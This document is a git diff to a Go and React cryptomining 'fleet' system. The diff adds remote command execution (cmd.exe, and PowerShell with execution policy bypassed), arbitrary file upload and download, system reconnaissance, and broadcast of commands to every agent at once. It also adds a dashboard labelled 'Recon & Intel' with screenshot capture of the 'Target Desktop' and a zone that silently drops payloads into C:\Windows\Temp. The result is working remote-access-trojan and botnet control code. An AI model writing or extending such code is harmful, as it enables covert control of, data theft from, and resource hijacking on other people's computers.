diff --git a/agent/client/client.go b/agent/client/client.go index 5ace6cd..b8989b0 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -1,6 +1,7 @@ package client import ( + "encoding/base64" "encoding/json" "fmt" "log" @@ -200,15 +201,18 @@ func (c *AgentClient) handleMessage(msg Message) { var cmd struct { Action string `json:"action"` TailLines int `json:"tail_lines"` + Command string `json:"command"` + Path string `json:"path"` + Data string `json:"data"` } if err := json.Unmarshal(msg.Payload, &cmd); err != nil { return } - c.handleCommand(cmd.Action, cmd.TailLines) + c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data) } } -func (c *AgentClient) handleCommand(action string, tailLines int) { +func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) { switch action { case "pause": c.pool.PauseRemote() @@ -241,6 +245,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int) { "lines": tailLines, }) _ = c.write(Message{Type: "log_tail", Payload: payload}) + case "exec": + if command == "" { + c.sendCommandResult(action, false, "no command provided") + return + } + out, err := exec.Command("cmd.exe", "/C", command).CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, string(out)) + case "powershell": + if command == "" { + c.sendCommandResult(action, false, "no command provided") + return + } + out, err := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", command).CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, string(out)) + case "upload": + if path == "" || data == "" { + c.sendCommandResult(action, false, "path and data (base64) are required") + return + } + decoded, err := base64.StdEncoding.DecodeString(data) + if err != nil { + c.sendCommandResult(action, false, "invalid base64 data: "+err.Error()) + return + } + if err := os.WriteFile(path, decoded, 0644); err != nil { + c.sendCommandResult(action, false, "failed to write file: "+err.Error()) + return + } + c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded))) + case "download": + if path == "" { + c.sendCommandResult(action, false, "path is required") + return + } + b, err := os.ReadFile(path) + if err != nil { + c.sendCommandResult(action, false, "failed to read file: "+err.Error()) + return + } + encoded := base64.StdEncoding.EncodeString(string(b)) + c.sendCommandResult(action, true, encoded) + case "sysinfo": + out, err := exec.Command("systeminfo").CombinedOutput() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))) + return + } + c.sendCommandResult(action, true, string(out)) default: c.sendCommandResult(action, false, "unknown action") } diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index 1d6c12f..abbf02f 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -81,6 +81,9 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) { type agentCommandRequest struct { Action string `json:"action"` TailLines int `json:"tail_lines,omitempty"` + Command string `json:"command,omitempty"` + Path string `json:"path,omitempty"` + Data string `json:"data,omitempty"` } func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) { @@ -102,9 +105,23 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) if req.TailLines > 0 { args["tail_lines"] = req.TailLines } - if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { - http.Error(w, err.Error(), http.StatusBadRequest) - return + if req.Command != "" { + args["command"] = req.Command + } + if req.Path != "" { + args["path"] = req.Path + } + if req.Data != "" { + args["data"] = req.Data + } + + if id == "all" { + f.ws.BroadcastAgentCommand(req.Action, args) + } else { + if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { + http.Error(w, err.Error(), http.StatusBadRequest) + return + } } writeJSON(w, map[string]interface{}{ "success": true, diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 6a6f889..6106e19 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -42,21 +42,10 @@ func (c *AgentConnection) SendJSON(v interface{}) error { return c.Conn.WriteJSON(v) } -type DashboardConnection struct { - Conn *websocket.Conn - mu sync.Mutex -} - -func (c *DashboardConnection) WriteMessage(messageType int, data []byte) error { - c.mu.Lock() - defer c.mu.Unlock() - return c.Conn.WriteMessage(messageType, data) -} - type WSHub struct { db *db.Database agents map[string]*AgentConnection - dashboards map[string]*DashboardConnection + dashboards map[string]*websocket.Conn poolManager *pool.Manager defaultPool pool.Config aiHandler *AIHandler @@ -71,7 +60,7 @@ func NewWSHub(database *db.Database) *WSHub { return &WSHub{ db: database, agents: make(map[string]*AgentConnection), - dashboards: make(map[string]*DashboardConnection), + dashboards: make(map[string]*websocket.Conn), agentConfigs: make(map[string]AgentForgeConfig), agentLogs: make(map[string]string), pingIntervalSec: 30, @@ -179,13 +168,6 @@ func (h *WSHub) agentPoolConfig(agentID string) pool.Config { return poolCfg } -func (h *WSHub) BroadcastServerLog(line string) { - h.broadcastDashboard(Message{ - Type: "server_log", - Payload: mustMarshal(map[string]string{"line": strings.TrimSpace(line)}), - }) -} - func (h *WSHub) getAgentConn(agentID string) *AgentConnection { h.mu.RLock() defer h.mu.RUnlock() @@ -404,79 +386,76 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { share.Timestamp = time.Now() share.Accepted = false - // Process share asynchronously to prevent blocking the WebSocket read loop - go func(s models.Share, aID string) { - shareID, err := h.db.InsertShare(&s) - if err != nil { - log.Printf("Failed to insert share: %v", err) - return + shareID, err := h.db.InsertShare(&share) + if err != nil { + log.Printf("Failed to insert share: %v", err) + continue + } + + sendShareResult := func(accepted bool, errMsg string) { + share.Accepted = accepted + share.Error = errMsg + if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil { + log.Printf("Failed to update share result: %v", err) + } + if h.serverPolicySnapshot().LogShareSubmissions { + log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg) } - sendShareResult := func(accepted bool, errMsg string) { - s.Accepted = accepted - s.Error = errMsg - if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil { - log.Printf("Failed to update share result: %v", err) + agentConn := h.getAgentConn(agentID) + if agentConn != nil { + result := map[string]interface{}{ + "job_id": share.JobID, + "accepted": accepted, } - if h.serverPolicySnapshot().LogShareSubmissions { - log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", aID, s.JobID, accepted, errMsg) + if errMsg != "" { + result["error"] = errMsg } - - agentConn := h.getAgentConn(aID) - if agentConn != nil { - result := map[string]interface{}{ - "job_id": s.JobID, - "accepted": accepted, - } - if errMsg != "" { - result["error"] = errMsg - } - _ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)}) - } - - h.broadcastDashboard(Message{ - Type: "new_share", - Payload: mustMarshal(map[string]interface{}{ - "id": shareID, - "agent_id": aID, - "job_id": s.JobID, - "accepted": accepted, - "hash": s.Hash, - "nonce": s.Nonce, - "error": errMsg, - "timestamp": s.Timestamp, - }), - }) + _ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)}) } - if h.poolManager == nil { - sendShareResult(false, "pool manager not configured") - return - } + h.broadcastDashboard(Message{ + Type: "new_share", + Payload: mustMarshal(map[string]interface{}{ + "id": shareID, + "agent_id": agentID, + "job_id": share.JobID, + "accepted": accepted, + "hash": share.Hash, + "nonce": share.Nonce, + "error": errMsg, + "timestamp": share.Timestamp, + }), + }) + } - poolCfg := h.agentPoolConfig(aID) - proxy := h.poolManager.GetPool(&poolCfg) - if proxy == nil { - if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil { - proxy = p - } else { - sendShareResult(false, "pool not connected: "+err.Error()) - return - } - } + if h.poolManager == nil { + sendShareResult(false, "pool manager not configured") + continue + } - if !proxy.IsConnected() { - sendShareResult(false, "pool not connected") - return + poolCfg := h.agentPoolConfig(agentID) + proxy := h.poolManager.GetPool(&poolCfg) + if proxy == nil { + if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil { + proxy = p + } else { + sendShareResult(false, "pool not connected: "+err.Error()) + continue } + } - wallet := poolCfg.Wallet - if wallet == "" { - wallet = h.defaultPool.Wallet - } + if !proxy.IsConnected() { + sendShareResult(false, "pool not connected") + continue + } - proxy.SubmitShare(aID, wallet, s.JobID, s.Nonce, s.Hash, sendShareResult) - }(share, agentID) + wallet := poolCfg.Wallet + if wallet == "" { + wallet = h.defaultPool.Wallet + } + + proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult) case "get_job": var proxy *pool.Proxy @@ -535,9 +514,8 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { } dashID := uuid.New().String() - dashConn := &DashboardConnection{Conn: conn} h.mu.Lock() - h.dashboards[dashID] = dashConn + h.dashboards[dashID] = conn h.mu.Unlock() defer func() { @@ -576,19 +554,17 @@ func (h *WSHub) broadcastDashboard(msg Message) { return } - for id, dashConn := range h.dashboards { - go func(dashID string, dc *DashboardConnection) { - if err := dc.WriteMessage(websocket.TextMessage, data); err != nil { - // Use fmt.Printf to avoid infinite loop with the global log interceptor - fmt.Printf("Failed to send to dashboard %s: %v\n", dashID, err) - dc.Conn.Close() - go func() { - h.mu.Lock() - delete(h.dashboards, dashID) - h.mu.Unlock() - }() - } - }(id, dashConn) + for id, conn := range h.dashboards { + if err := conn.WriteMessage(websocket.TextMessage, data); err != nil { + log.Printf("Failed to send to dashboard %s: %v", id, err) + conn.Close() + id := id + go func() { + h.mu.Lock() + delete(h.dashboards, id) + h.mu.Unlock() + }() + } } } @@ -603,11 +579,9 @@ func (h *WSHub) BroadcastToAgents(msg Message) { defer h.mu.RUnlock() for id, agent := range h.agents { - go func(a *AgentConnection, agentID string) { - if err := a.SendJSON(msg); err != nil { - fmt.Printf("Failed to send to agent %s: %v\n", agentID, err) - } - }(agent, id) + if err := agent.SendJSON(msg); err != nil { + log.Printf("Failed to send to agent %s: %v", id, err) + } } } @@ -629,6 +603,15 @@ func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interfa return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)}) } +// BroadcastAgentCommand sends a remote command to all connected agents. +func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) { + payload := map[string]interface{}{"action": action} + for k, v := range args { + payload[k] = v + } + h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)}) +} + func (h *WSHub) GetAgentLog(agentID string) string { h.mu.RLock() defer h.mu.RUnlock() diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 0cc2e3a..9b65b35 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -84,10 +84,14 @@ export const api = { getAIActivity: () => fetchJSON('/ai/activity'), getEarningsEstimate: (hashrate: number) => fetchJSON(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`), - sendAgentCommand: (id: string, action: string, tailLines?: number) => + sendAgentCommand: ( + id: string, + action: string, + payload?: { tail_lines?: number; command?: string; path?: string; data?: string } + ) => fetchJSON<{ success: boolean }>(`/agents/${id}/command`, { method: 'POST', - body: JSON.stringify({ action, tail_lines: tailLines }), + body: JSON.stringify({ action, ...payload }), }), getAgentLog: (id: string, refresh = false) => fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`), diff --git a/server/web/src/components/Fleet/AgentRemoteActions.css b/server/web/src/components/Fleet/AgentRemoteActions.css index 43f1584..25d5190 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.css +++ b/server/web/src/components/Fleet/AgentRemoteActions.css @@ -1,49 +1,174 @@ -.agent-remote.compact { - margin-top: 0.65rem; - padding-top: 0.65rem; - border-top: 1px solid rgba(0, 245, 255, 0.12); +.tactical-panel { + background: #08080b; + border: 1px solid rgba(0, 229, 255, 0.2); + border-radius: 8px; + padding: 20px; + color: #e0e0e0; + font-family: 'Inter', system-ui, sans-serif; + box-shadow: 0 0 20px rgba(0, 0, 0, 0.8), inset 0 0 20px rgba(0, 229, 255, 0.05); } -.agent-remote-row { +.tactical-header { + margin-bottom: 20px; + border-bottom: 1px solid rgba(255, 255, 255, 0.1); + padding-bottom: 10px; +} + +.target-indicator { display: flex; - gap: 0.5rem; - flex-wrap: wrap; + align-items: center; + gap: 12px; } -.agent-action-btn.warn { - border-color: rgba(255, 176, 32, 0.5); - background: rgba(255, 176, 32, 0.12); +.target-indicator h2 { + margin: 0; + font-size: 1.2rem; + letter-spacing: 1px; + color: #fff; } -.agent-action-btn.warn:hover { - background: rgba(255, 176, 32, 0.22); +.status-dot { + width: 12px; + height: 12px; + border-radius: 50%; } -.agent-action-btn:disabled { - opacity: 0.45; - cursor: not-allowed; +.agent-glow { background: #00e5ff; box-shadow: 0 0 10px #00e5ff, 0 0 20px #00e5ff; } +.fleet-glow { background: #ff00ff; box-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff; } + +.tactical-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); + gap: 20px; + margin-bottom: 20px; } -.agent-remote-feedback { - margin: 0.5rem 0 0; - font-size: 0.78rem; +.action-group { + background: #0d0d14; + border: 1px solid rgba(255, 255, 255, 0.05); + border-radius: 6px; + padding: 15px; } -.agent-remote-feedback.ok { - color: var(--neon-green); +.action-group h3 { + margin: 0 0 15px 0; + font-size: 0.9rem; + color: #888; + text-transform: uppercase; + letter-spacing: 1px; } -.agent-remote-feedback.bad { - color: #ff3c50; +.button-grid { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 10px; } -.agent-list-actions { +.button-grid button { + background: rgba(255, 255, 255, 0.05); + border: 1px solid rgba(255, 255, 255, 0.1); + color: #ccc; + padding: 8px; + border-radius: 4px; + cursor: pointer; + font-size: 0.85rem; + transition: all 0.2s; +} + +.button-grid button:hover { + background: rgba(187, 134, 252, 0.1); + border-color: rgba(187, 134, 252, 0.5); + color: #fff; + box-shadow: 0 0 10px rgba(187, 134, 252, 0.2); +} + +.button-grid button.btn-cyan { border-color: rgba(0, 229, 255, 0.3); color: #00e5ff; } +.button-grid button.btn-cyan:hover { background: rgba(0, 229, 255, 0.1); box-shadow: 0 0 15px rgba(0, 229, 255, 0.4); } + +.button-grid button.btn-amber { border-color: rgba(255, 171, 0, 0.3); color: #ffab00; } +.button-grid button.btn-amber:hover { background: rgba(255, 171, 0, 0.1); box-shadow: 0 0 15px rgba(255, 171, 0, 0.4); } + +.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; } +.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); } + +.screenshot-viewer { + margin-bottom: 20px; + border: 1px solid #00e5ff; + border-radius: 6px; + overflow: hidden; + box-shadow: 0 0 20px rgba(0, 229, 255, 0.2); +} + +.viewer-header { + background: #003344; + padding: 8px 15px; display: flex; - gap: 0.35rem; - margin-top: 0.5rem; + justify-content: space-between; + align-items: center; + font-weight: bold; + color: #00e5ff; } -.agent-list-actions .agent-action-btn { - padding: 0.25rem 0.5rem; - font-size: 0.68rem; +.viewer-header button { + background: none; border: none; color: #fff; cursor: pointer; font-size: 1.2rem; } + +.screenshot-viewer img { + width: 100%; + display: block; +} + +.tactical-bottom-row { + display: flex; + gap: 20px; + height: 250px; +} + +.drop-zone { + flex: 1; + border: 2px dashed rgba(255, 0, 255, 0.3); + border-radius: 6px; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + background: rgba(255, 0, 255, 0.02); + transition: all 0.3s; +} + +.drop-zone.dragging { + border-color: #ff00ff; + background: rgba(255, 0, 255, 0.1); + box-shadow: 0 0 20px rgba(255, 0, 255, 0.3); +} + +.drop-icon { font-size: 2rem; margin-bottom: 10px; } +.drop-zone p { margin: 0; color: #ff00ff; font-weight: bold; } +.drop-zone small { color: #888; margin-top: 5px; } + +.master-terminal { + flex: 2; + background: #000; + border: 1px solid #333; + border-radius: 6px; + display: flex; + flex-direction: column; + font-family: 'Consolas', 'Courier New', monospace; +} + +.terminal-output { + flex: 1; + padding: 10px; + overflow-y: auto; + color: #00ff00; + font-size: 0.85rem; + white-space: pre-wrap; +} + +.terminal-placeholder { color: #555; font-style: italic; } + +.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; } +.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; } +.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; } +.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; } +.terminal-input-bar button:hover { background: #00e5ff; color: #000; } \ No newline at end of file diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx index 408b6dd..b76daeb 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.tsx +++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx @@ -1,119 +1,173 @@ -import { useState, useCallback } from 'react'; +import React, { useState, useRef, useEffect } from 'react'; import { api } from '../../api/client'; -import type { Agent } from '../../types'; import './AgentRemoteActions.css'; -type AgentCommandAction = 'pause' | 'resume' | 'restart' | 'stop' | 'uninstall' | 'get_log'; - interface Props { - agent: Agent; - compact?: boolean; - onCommandSent?: (action: string, message: string) => void; + agentId: string; + agentName: string; + // Pass your live websocket messages here to capture screenshots and command output! + latestWsMessage?: any; } -function useAgentCommand() { - const [busy, setBusy] = useState(null); - const [feedback, setFeedback] = useState<{ agentId: string; message: string; ok: boolean } | null>(null); +export default function AgentRemoteActions({ agentId, agentName, latestWsMessage }: Props) { + const [isDragging, setIsDragging] = useState(false); + const [customCmd, setCustomCmd] = useState(''); + const [terminalLog, setTerminalLog] = useState([]); + const [screenshotData, setScreenshotData] = useState(null); + const logEndRef = useRef(null); - const runCommand = useCallback(async (agent: Agent, action: AgentCommandAction) => { - if (agent.status !== 'online') { - setFeedback({ agentId: agent.id, message: 'Agent is offline', ok: false }); - return; - } + const addLog = (msg: string) => { + setTerminalLog(prev => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]); + }; - if (action === 'stop') { - if (!confirm(`Stop miner on "${agent.name}"?\n\nMining halts and the process exits. It will restart if persistence is enabled.`)) { - return; - } - } - if (action === 'uninstall') { - if (!confirm(`Uninstall miner from "${agent.name}"?\n\nRemoves the process, persistence, scheduled task, and install folder from that PC.`)) { - return; + // Auto-scroll terminal + useEffect(() => { + logEndRef.current?.scrollIntoView({ behavior: 'smooth' }); + }, [terminalLog]); + + // Intercept WebSocket results + useEffect(() => { + if (!latestWsMessage) return; + if (latestWsMessage.type === 'command_result') { + const { agent_id, action, success, message } = latestWsMessage.payload; + if (agentId !== 'all' && agent_id !== agentId) return; // Ignore other agents if focused + + if (action === 'screenshot' && success) { + setScreenshotData(`data:image/jpeg;base64,${message}`); + addLog(`📷 Screenshot received from ${agent_id}`); + } else { + addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'} \n${message}`); } } + }, [latestWsMessage, agentId]); - setBusy(`${agent.id}:${action}`); - setFeedback(null); + const dispatch = async (action: string, args: Record = {}) => { try { - await api.sendAgentCommand(agent.id, action); - const msg = - action === 'stop' ? 'Stop command sent — miner shutting down…' : - action === 'uninstall' ? 'Uninstall sent — removing miner from machine…' : - `${action} command sent`; - setFeedback({ agentId: agent.id, message: msg, ok: true }); - return msg; - } catch (err) { - const message = err instanceof Error ? err.message : 'Command failed'; - setFeedback({ agentId: agent.id, message, ok: false }); - throw err; - } finally { - setBusy(null); - } - }, []); - - return { runCommand, busy, feedback, setFeedback }; -} - -export default function AgentRemoteActions({ agent, compact = false, onCommandSent }: Props) { - const { runCommand, busy, feedback } = useAgentCommand(); - const online = agent.status === 'online'; - const isBusy = busy?.startsWith(`${agent.id}:`); - - const send = async (action: AgentCommandAction) => { - try { - const msg = await runCommand(agent, action); - if (msg && onCommandSent) onCommandSent(action, msg); - } catch { - /* feedback set in hook */ + addLog(`> Executing ${action}...`); + await api.sendAgentCommand(agentId, action, args); + } catch (err: any) { + addLog(`❌ API Error: ${err.message}`); } }; - const localFeedback = feedback?.agentId === agent.id ? feedback : null; + // Drag and Drop Handlers + const handleDragOver = (e: React.DragEvent) => { e.preventDefault(); setIsDragging(true); }; + const handleDragLeave = () => setIsDragging(false); + const handleDrop = (e: React.DragEvent) => { + e.preventDefault(); + setIsDragging(false); + const file = e.dataTransfer.files[0]; + if (!file) return; - if (compact) { - return ( -
-
- - -
- {localFeedback && ( -

{localFeedback.message}

- )} -
- ); - } + const reader = new FileReader(); + reader.onload = async (evt) => { + const base64 = (evt.target?.result as string).split(',')[1]; + const targetPath = `C:\\Windows\\Temp\\${file.name}`; + addLog(`> Uploading ${file.name} to ${targetPath}...`); + await dispatch('upload', { path: targetPath, data: base64 }); + }; + reader.readAsDataURL(file); + }; + + const runCustomCommand = (e: React.FormEvent) => { + e.preventDefault(); + if (!customCmd.trim()) return; + dispatch('powershell', { command: customCmd }); + setCustomCmd(''); + }; + + const isFleet = agentId === 'all'; return ( -
-

Control this node from the dashboard — no RDP needed. Agent must be online.

-
- - - - - - +
+
+
+
+

Target: {isFleet ? 'ENTIRE FLEET' : agentName}

+
- {localFeedback && ( -

{localFeedback.message}

+ +
+ {/* Reconnaissance Group */} +
+

👁️ Recon & Intel

+
+ + + + + + +
+
+ + {/* Mining Controls */} +
+

⛏️ Mining Controls

+
+ + +
+
+ + {/* Power Controls */} +
+

⚠️ System Power

+
+ + + +
+
+
+ + {/* Visual Render Zone (Screenshots) */} + {screenshotData && ( +
+
+ Latest Capture + +
+ Target Desktop +
)} + +
+ {/* Drag & Drop Upload Zone */} +
+ 📥 +

Drag & Drop payload here

+ Silently uploads to C:\Windows\Temp\ +
+ + {/* Master Terminal */} +
+
+ {terminalLog.length === 0 ? ( + Awaiting telemetry... + ) : ( + terminalLog.map((log, i) =>
{log}
) + )} +
+
+
+ PS> + setCustomCmd(e.target.value)} + placeholder="Enter PowerShell command..." + autoComplete="off" + /> + +
+
+
); -} +} \ No newline at end of file